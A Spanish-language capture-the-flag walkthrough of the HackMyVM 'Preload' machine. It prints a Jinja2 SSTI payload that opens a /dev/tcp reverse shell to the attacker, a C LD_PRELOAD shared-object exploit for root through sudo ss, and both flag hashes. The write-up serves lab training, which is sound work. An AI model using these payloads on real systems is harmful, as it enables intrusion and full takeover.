Preload HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-23 03:16 EDT
Nmap scan report for 192.168.5.27
Host is up (0.00072s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5000/tcp  open  landesk-rc LANDesk remote management
50000/tcp open  tcpwrapped
|_drda-info: ERROR
MAC Address: 08:00:27:BC:B0:24 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.41 seconds

Veremos que tenemos un puerto 80, un puerto 5000 y un puerto 50000 vamos a ver que contiene cada uno de ellos, si entramos al puerto 80 veremos que una pagina web por defecto de nginx por lo que no veremos nada interesante pero si entramos en el puerto 5000 que tiene toda la pinta de que es un servidor de python3 que soporta una pagina web veremos que tarda mucho en cargar y no llega a cargar del todo, pero si nos vamos al ultimo puerto 50000 rechaza la conexion o directamente no se puede acceder desde dicha peticion por GET por lo que vamos a ver que sucede en todo esto a nivel interno y a ver que encontramos.

Vamos a realizar un poco de fuzzing a ver si vemos algo interesante.

SSTI

Despues de un rato vemos que por GET no responde el puerto 50000 pero si empezamos con curls de esta forma veremos esto:

curl -i -X POST http://<IP>:50000/ -d "test=1"

Info:

HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: text/html; charset=utf-8
Allow: HEAD, OPTIONS, GET
Content-Length: 178
Server: Werkzeug/2.0.2 Python/3.9.2
Date: Fri, 23 May 2025 07:26:44 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Nos da un 405 pero nos ha respondido por lo menos y aqui ya estamos viendo informacion valiosa de que realmente si se esta utilizando un servidor python3 con la tecnologia de Werkzeug/2.0.2 y tiene toda la pinsta de que se puede estar utilizando Jinja2 por detras que esto puede ser una vulnerabilidad hacia un SSTI, vamos a probar una cosa.

# CODIFICADO EN URL

curl -i "http://<IP>:50000/?q=%7B%7Bconfig%7D%7D"

# FORMA DECODIFICADA

# curl -i "http://<IP>:50000/?q={{config}}"

Info:

HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 290
Server: Werkzeug/2.0.2 Python/3.9.2
Date: Fri, 23 May 2025 07:29:04 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Vemos que efectivamente esta intentando manejar esta informacion pero peta el sevidor con un 500 por lo que vamos bien, vamos a realizar fuzzing para ver que parametro es el que puede ejecutar esto mismo.

FFUF

ffuf -ic -c -w <WORDLIST> -u 'http://<IP>:50000/?FUZZ=%7B%7B7*7%7D%7D' -fs 290

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.5.27:50000/?FUZZ=%7B%7B7*7%7D%7D
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 290
________________________________________________

cmd                     [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 373ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Veremos que ha funcionado con el parametro cmd por lo que vamos a comprobarlo con un curl.

curl -i 'http://<IP>:50000/?cmd=%7B%7B7*7%7D%7D' # {{7*7}}

Info:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 2
Server: Werkzeug/2.0.2 Python/3.9.2
Date: Fri, 23 May 2025 08:00:28 GMT

49

Vemos que efectivamente te lo esta multiplicando, por lo que vamos a realizar una reverse shell de estar forma:

curl -i 'http://<IP>:50000/?cmd=%7B%7B%20self._TemplateReference__context.joiner.__init__.__globals__.os.popen%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<IP>/<PORT>%200%3E%261%22%27%29.read%28%29%20%7D%7D' # {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"').read() }}

Ahora si nos ponemos a la escucha antes de enviar el payload.

nc -lvnp <PORT>

Si enviamos ese curl y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.27] 36888
bash: cannot set terminal process group (294): Inappropriate ioctl for device
bash: no job control in this shell
paul@preload:/$ whoami
whoami
paul

Veremos que ha funcionado por lo que sanitizaremos la shell.

Sanitizacion de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Vamos a leer la flag del usuario.

us3r.txt

52f83ff6877e42f613bcd2444c22528c

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail, /usr/bin/head, /usr/bin/ss

Vemos que podemos ejecutar varios binarios como el usuario root, pero el que mas nos llama la atencion es el ss vamos a realizar lo siguiente:

cd /tmp

exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(void) {
    setuid(0);
    setgid(0);
    // Ejecuta una shell interactiva
    system("/bin/bash");
}

Ahora vamos a compilarlo:

gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles

Establecemos permisos de ejecuccion.

chmod +x exploit.so

Ahora vamos a ejecutarlo de la siguiente forma para que funcione.

sudo LD_PRELOAD=/tmp/exploit.so ss
exit # Para salir del bucle fork

Info:

root@preload:/tmp# whoami
root

Explicación del exploit LD_PRELOAD con exploit.so

¿Qué es LD_PRELOAD?

LD_PRELOAD es una variable de entorno en Linux que le dice al cargador dinámico (loader) que antes de cargar cualquier otra librería compartida, cargue la librería que tú especifiques.

  • Esto permite sobrescribir funciones o inyectar código en cualquier programa que uses.

  • El programa no sabe que le están inyectando código adicional.

  • Muy útil para inyectar código malicioso o parches sin recompilar.

Por qué ejecutar con sudo LD_PRELOAD=/tmp/exploit.so ss

  • Ejecutas ss con sudo, así ss tiene permisos root.

  • LD_PRELOAD fuerza a ss a cargar la librería exploit.so antes que cualquier otra cosa.

  • En ese momento, la función init() se ejecuta con privilegios root.

  • La función ejecuta la shell root.

Con esto veremos que ya seremos root por lo que leeremos la flag de root.

20o7.txt

09f7e02f1290be211da707a266f153b3

Last updated